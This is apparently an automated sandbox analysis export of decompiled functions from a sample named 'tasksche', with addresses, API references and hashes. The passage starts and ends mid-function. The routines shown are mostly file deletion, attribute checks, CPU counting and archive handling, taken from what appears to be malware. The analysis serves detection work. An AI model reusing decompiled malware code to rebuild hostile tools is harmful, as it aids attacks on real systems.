								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E4(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E0041AAF0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409126

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32 ref: 0040DE44

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32(00000000), ref: 00410EEF

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction ID: ae3045e16ef29d64dcafac8e7d0c22bbd438388315c71f77e1501110187c073f
Opcode Fuzzy Hash: 5b6efae98f4fd143c9c11739b7a9d49426725563ed325c59bf560736ad01bde8
Instruction Fuzzy Hash: 86E08672A1020AA78F2897A0CD4A9EF32ACEB01215700087BE503C1640EAF8D5D24629

Uniqueness

Uniqueness Score: -1.00%

Function 004060C9 Relevance: 3.0, APIs: 2, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004060C9(struct HWND__* _a4, int _a8, signed char _a12) {
				int _t8;

				asm("sbb eax, eax");
				_t8 = ShowWindow(GetDlgItem(_a4, _a8),  ~(_a12 & 0x000000ff) & 0x00000009); // executed
				return _t8;
			}

0x004060d0
0x004060e5
0x004060eb

APIs

GetDlgItem.USER32 ref: 004060DE
ShowWindow.USER32(00000000), ref: 004060E5

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction ID: 00e924dde3bcd55588ca107b376b403c6fb897f844ebcc5e5070703d20151260
Opcode Fuzzy Hash: 76029219059209f4090a36f07538af165f69a2de4b0c3b600f66da5fa765a026
Instruction Fuzzy Hash: E7C01232258241FFCB020BB0DC09E2ABBA8ABA5312F10CD68B4A5C1160C23AC024DB22

Uniqueness

Uniqueness Score: -1.00%

Function 00402C8B Relevance: 1.7, APIs: 1, Instructions: 175
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00402C8B(void* __ecx, signed int __edx) {
				void* __ebx;
				void* __edi;
				char _t69;
				signed int _t75;
				intOrPtr _t84;
				signed int _t88;
				intOrPtr _t96;
				signed int _t116;
				void* _t139;
				void* _t147;

				_t134 = __edx;
				E0041A4DC(E00429577, _t147);
				E0041AAF0(0xe6e0);
				_t141 = __ecx;
				if( *((char*)(__ecx + 0xb064)) == 0) {
					__eflags =  *((char*)(__ecx + 0x8942)) - 5;
					if( *((char*)(__ecx + 0x8942)) > 5) {
						L26:
						_t142 = _t141 + 0x1e;
						__eflags = _t141 + 0x1e;
						E00406376(0x1c, _t142);
						goto L27;
					}
					asm("sbb eax, eax");
					__eflags = ( *(__ecx + 0x8941) & 0x000000ff) - ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d);
					if(( *(__ecx + 0x8941) & 0x000000ff) > ( ~( *((intOrPtr*)(__ecx + 0xb050)) - 3) & 0x0000001d)) {
						goto L26;
					}
					_t75 =  *(__ecx + 0x9970) |  *(__ecx + 0x9974);
					__eflags = _t75;
					if(_t75 != 0) {
						L7:
						_t139 = _t141 + 0x20e8;
						E0040B758(_t139);
						_push(_t139);
						E0041768A(_t147 - 0xe6ec, _t134, _t139, __eflags); // executed
						_t106 = 0;
						 *(_t147 - 4) = 0;
						E004126F0(_t147 - 0xe6ec,  *((intOrPtr*)(_t141 + 0x9a0c)), 0); // executed
						__eflags =  *(_t147 + 0xc);
						if( *(_t147 + 0xc) != 0) {
							L16:
							__eflags =  *((char*)(_t141 + 0x99b3));
							if( *((char*)(_t141 + 0x99b3)) == 0) {
								L19:
								_t106 = _t141 + 0x9988;
								E00409885(_t141 + 0x59b8,  *(_t141 + 0x9988), 1);
								 *((intOrPtr*)(_t141 + 0x210c)) =  *((intOrPtr*)(_t141 + 0x9974));
								 *((intOrPtr*)(_t141 + 0x2108)) =  *((intOrPtr*)(_t141 + 0x9970));
								 *((char*)(_t141 + 0x2110)) = 0;
								E0040B863(_t139, _t141,  *(_t147 + 0xc));
								 *((char*)(_t141 + 0x42af)) =  *((intOrPtr*)(_t141 + 0x99b1));
								 *(_t139 + 0x3c) =  *(_t139 + 0x3c) & 0x00000000;
								 *((intOrPtr*)(_t139 + 0x38)) = _t141 + 0x8928;
								__eflags =  *((char*)(_t141 + 0x8942));
								_t84 =  *((intOrPtr*)(_t141 + 0x9978));
								_t116 =  *(_t141 + 0x997c);
								 *((intOrPtr*)(_t147 - 0x9aac)) = _t84;
								 *(_t147 - 0x9aa8) = _t116;
								 *((char*)(_t147 - 0x9a94)) = 0;
								if(__eflags != 0) {
									E00418AFF(_t147 - 0xe6ec,  *(_t141 + 0x8941) & 0x000000ff, 0);
								} else {
									_push(_t116);
									_push(_t84);
									_push(_t139); // executed
									E004071DF(_t134, __eflags); // executed
								}
								asm("sbb ecx, ecx");
								_t88 = E00409AE9(_t106, _t141 + 0x59b8, _t134, __eflags, _t106,  ~( *(_t141 + 0x99e2) & 0x000000ff) & _t141 + 0x000099e3);
								__eflags = _t88;
								if(_t88 != 0) {
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139); // executed
									L6:
									_t69 = 1;
									goto L28;
								} else {
									E0040639F(0x1d, _t141 + 0x1e, _t141 + 0x8948);
									E004062BA(0x4335ac, 3);
									_t124 =  *(_t147 + 8);
									__eflags =  *(_t147 + 8);
									if( *(_t147 + 8) != 0) {
										E00401B67(_t124);
									}
									L12:
									 *(_t147 - 4) =  *(_t147 - 4) | 0xffffffff;
									E004155EF(_t106, _t147 - 0xe6ec, _t139);
									goto L27;
								}
							}
							_t96 =  *((intOrPtr*)(_t141 + 0x6524));
							__eflags =  *((char*)(_t96 + 0x4124));
							if( *((char*)(_t96 + 0x4124)) == 0) {
								goto L12;
							}
							asm("sbb edx, edx");
							_t134 =  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9;
							_t97 = _t96 + 0x4024;
							__eflags = _t96 + 0x4024;
							E0040B883(_t139, 0,  *((intOrPtr*)(_t141 + 0x99b4)), _t97,  ~( *(_t141 + 0x99b8) & 0x000000ff) & _t141 + 0x000099b9, _t141 + 0x99c9,  *((intOrPtr*)(_t141 + 0x9a04)), _t141 + 0x99e3, _t141 + 0x99da);
							goto L19;
						}
						__eflags =  *(_t141 + 0x997c);
						if(__eflags < 0) {
							L13:
							_t106 =  *(_t147 + 8);
							__eflags = _t106;
							if(_t106 != 0) {
								E00401C1D(_t106,  *((intOrPtr*)(_t141 + 0x9978)));
								E0040B8CE(_t139,  *_t106,  *((intOrPtr*)(_t141 + 0x9978)));
							} else {
								 *((char*)(_t141 + 0x2111)) = 1;
							}
							goto L16;
						}
						if(__eflags > 0) {
							L11:
							_t145 = _t141 + 0x1e;
							__eflags = _t141 + 0x1e;
							E00406376(0x1c, _t145);
							goto L12;
						}
						__eflags =  *((intOrPtr*)(_t141 + 0x9978)) - 0x1000000;
						if( *((intOrPtr*)(_t141 + 0x9978)) <= 0x1000000) {
							goto L13;
						}
						goto L11;
					}
					__eflags =  *((intOrPtr*)(__ecx + 0x99b1)) - _t75;
					if( *((intOrPtr*)(__ecx + 0x99b1)) != _t75) {
						goto L7;
					}
					goto L6;
				} else {
					E00406376(0x1b, __ecx + 0x1e);
					E004062BA(0x4335ac, 3);
					L27:
					_t69 = 0;
					L28:
					 *[fs:0x0] =  *((intOrPtr*)(_t147 - 0xc));
					return _t69;
				}
			}

0x00402c8b
0x00402c90
0x00402c9a
0x00402ca1
0x00402cab
0x00402cc9
0x00402cd0
0x00402f0e
0x00402f0e
0x00402f0e
0x00402f14
0x00000000
0x00402f14
0x00402ce8
0x00402ced
0x00402cef
0x00000000
0x00000000
0x00402cfb
0x00402cfb
0x00402d01
0x00402d12
0x00402d12
0x00402d1a
0x00402d1f
0x00402d26
0x00402d2b
0x00402d3a
0x00402d3d
0x00402d42
0x00402d45
0x00402da8
0x00402da8
0x00402daf
0x00402e04
0x00402e06
0x00402e14
0x00402e28
0x00402e31
0x00402e37
0x00402e3e
0x00402e49
0x00402e4f
0x00402e59
0x00402e5c
0x00402e63
0x00402e69
0x00402e6f
0x00402e75
0x00402e7b
0x00402e82
0x00402e9e
0x00402e84
0x00402e84
0x00402e85
0x00402e86
0x00402e87
0x00402e87
0x00402eac
0x00402ebe
0x00402ec3
0x00402ec5
0x00402efa
0x00402f04
0x00402d0b
0x00402d0b
0x00000000
0x00402ec7
0x00402ed4
0x00402ee0
0x00402ee5
0x00402ee8
0x00402eea
0x00402ef0
0x00402ef0
0x00402d68
0x00402d68
0x00402d72
0x00000000
0x00402d72
0x00402ec5
0x00402db1
0x00402db7
0x00402dbe
0x00000000
0x00000000
0x00402de4
0x00402dec
0x00402def
0x00402def
0x00402dff
0x00000000
0x00402dff
0x00402d47
0x00402d4d
0x00402d7c
0x00402d7c
0x00402d7f
0x00402d81
0x00402d94
0x00402da3
0x00402d83
0x00402d83
0x00402d83
0x00000000
0x00402d81
0x00402d4f
0x00402d5d
0x00402d5d
0x00402d5d
0x00402d63
0x00000000
0x00402d63
0x00402d51
0x00402d5b
0x00000000
0x00000000
0x00000000
0x00402d5b
0x00402d03
0x00402d09
0x00000000
0x00000000
0x00000000
0x00402cad
0x00402cb3
0x00402cbf
0x00402f19
0x00402f19
0x00402f1b
0x00402f21
0x00402f29
0x00402f29

APIs

__EH_prolog.LIBCMT ref: 00402C90

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction ID: d2613427887af626ac15b725df06f6c4975e9b849f4698f9cbfae21a5c634ed1
Opcode Fuzzy Hash: 2276fc182cef91394af53d89cd26c1ad4be35ff672cc550e66d7eee5d0ea8f8a
Instruction Fuzzy Hash: 8E615870505B40AADB34DB39C999BEBB7E4AF51304F00456FF4AB622C2CBBC2944DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040935F Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0040935F(void* __ebx, void* __ecx, void* __edi, signed int _a4, char _a8) {
				signed int _v8;
				char _v4104;
				signed int _t21;
				void* _t25;
				signed int _t26;
				signed int _t34;
				void* _t36;
				signed int _t40;
				signed short* _t45;
				signed short* _t48;
				void* _t49;
				void* _t50;

				E0041AAF0(0x1004);
				_t48 = _a4;
				if(_t48 == 0 ||  *_t48 == 0) {
					__eflags = 0;
					return 0;
				} else {
					_a4 = _a4 & 0x00000000;
					_t36 = 1;
					_t45 = _t48;
					while(1) {
						_t21 = _a4 >> 1;
						_v8 = _t21;
						if(_t21 >= 0x800) {
							break;
						}
						if(E0040A0C5( *_t45 & 0x0000ffff) == 0 || _t45 <= _t48) {
							L9:
							_a4 = _a4 + 2;
							_t45 =  &(_t45[1]);
							if( *_t45 != 0) {
								continue;
							}
							break;
						} else {
							if(_t45 !=  &(_t48[2])) {
								L8:
								_t40 = _v8;
								E0041C853( &_v4104, _t48, _t40);
								_t50 = _t50 + 0xc;
								 *((short*)(_t49 + _t40 * 2 - 0x1004)) = 0;
								_t34 = E004092C9(_t58,  &_v4104, 1, 0);
								asm("sbb bl, bl");
								_t36 =  ~_t34 + 1;
								goto L9;
							}
							_t58 = _t48[1] - 0x3a;
							if(_t48[1] == 0x3a) {
								goto L9;
							}
							goto L8;
						}
					}
					_t61 = _a8;
					if(_a8 == 0) {
						_t25 = E0040A0C5( *(E0040A08A(_t61, _t48)) & 0x0000ffff);
						_t62 = _t25;
						if(_t25 == 0) {
							_t26 = E004092C9(_t62, _t48, 1, 0); // executed
							asm("sbb bl, bl");
							_t36 =  ~_t26 + 1;
						}
					}
					return _t36;
				}
			}

0x00409367
0x0040936d
0x00409372
0x0040942c
0x00000000
0x00409382
0x00409382
0x00409388
0x0040938a
0x0040938c
0x0040938f
0x00409391
0x00409399
0x00000000
0x00000000
0x004093a6
0x004093ef
0x004093ef
0x004093f4
0x004093f9
0x00000000
0x00000000
0x00000000
0x004093ac
0x004093b1
0x004093ba
0x004093ba
0x004093c6
0x004093cb
0x004093d1
0x004093e2
0x004093eb
0x004093ed
0x00000000
0x004093ed
0x004093b3
0x004093b8
0x00000000
0x00000000
0x00000000
0x004093b8
0x004093a6
0x004093fb
0x004093ff
0x0040940b
0x00409410
0x00409412
0x00409419
0x00409422
0x00409424
0x00409424
0x00409412
0x00000000
0x00409429

APIs

_wcsncpy.LIBCMT ref: 004093C6

Memory Dump Source

Source File: 00000009.00000002.773160296.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.773127087.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773302345.000000000042A000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773324321.0000000000430000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773360057.0000000000435000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773375129.000000000044F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.773387412.0000000000452000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcsncpy
String ID:
API String ID: 1735881322-0
Opcode ID: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction ID: d4505bb1f71f0a7630b1187c5dc073957316d7994076f763c5609016dbc7fb68
Opcode Fuzzy Hash: eec277942e391c224009335c7c4fdbf9ccf01f1ad50b69e55fa7bc55e694a795
Instruction Fuzzy Hash: 1821F9705412146ADF209BA5C8817EF73A8AF09744F104067FD84E71C2E6BC9DC58799

Uniqueness

Uniqueness Score: -1.00%

Function 004071DF Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004071DF(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t21;
				intOrPtr _t30;
				intOrPtr _t33;
				void* _t35;
				void* _t43;
				intOrPtr _t45;

				_t28 = __edx;
				E0041A4DC(E004294DA, _t35);
				E00406760(_t35 - 0x1c, 0x40000);
				_t30 =  *((intOrPtr*)(_t35 - 0x1c));
				 *(_t35 - 4) =  *(_t35 - 4) & 0x00000000;
				_t17 = E0040B94E( *((intOrPtr*)(_t35 + 8)), __edx, _t30,  *((intOrPtr*)(_t35 - 0x18))); // executed
				_t33 = _t17;
				if(_t33 != 0) {
					_push(_t20);
					_t21 =  *((intOrPtr*)(_t35 + 0xc));
					while(_t33 != 0xffffffff) {
						_t43 = 0 -  *((intOrPtr*)(_t35 + 0x10));
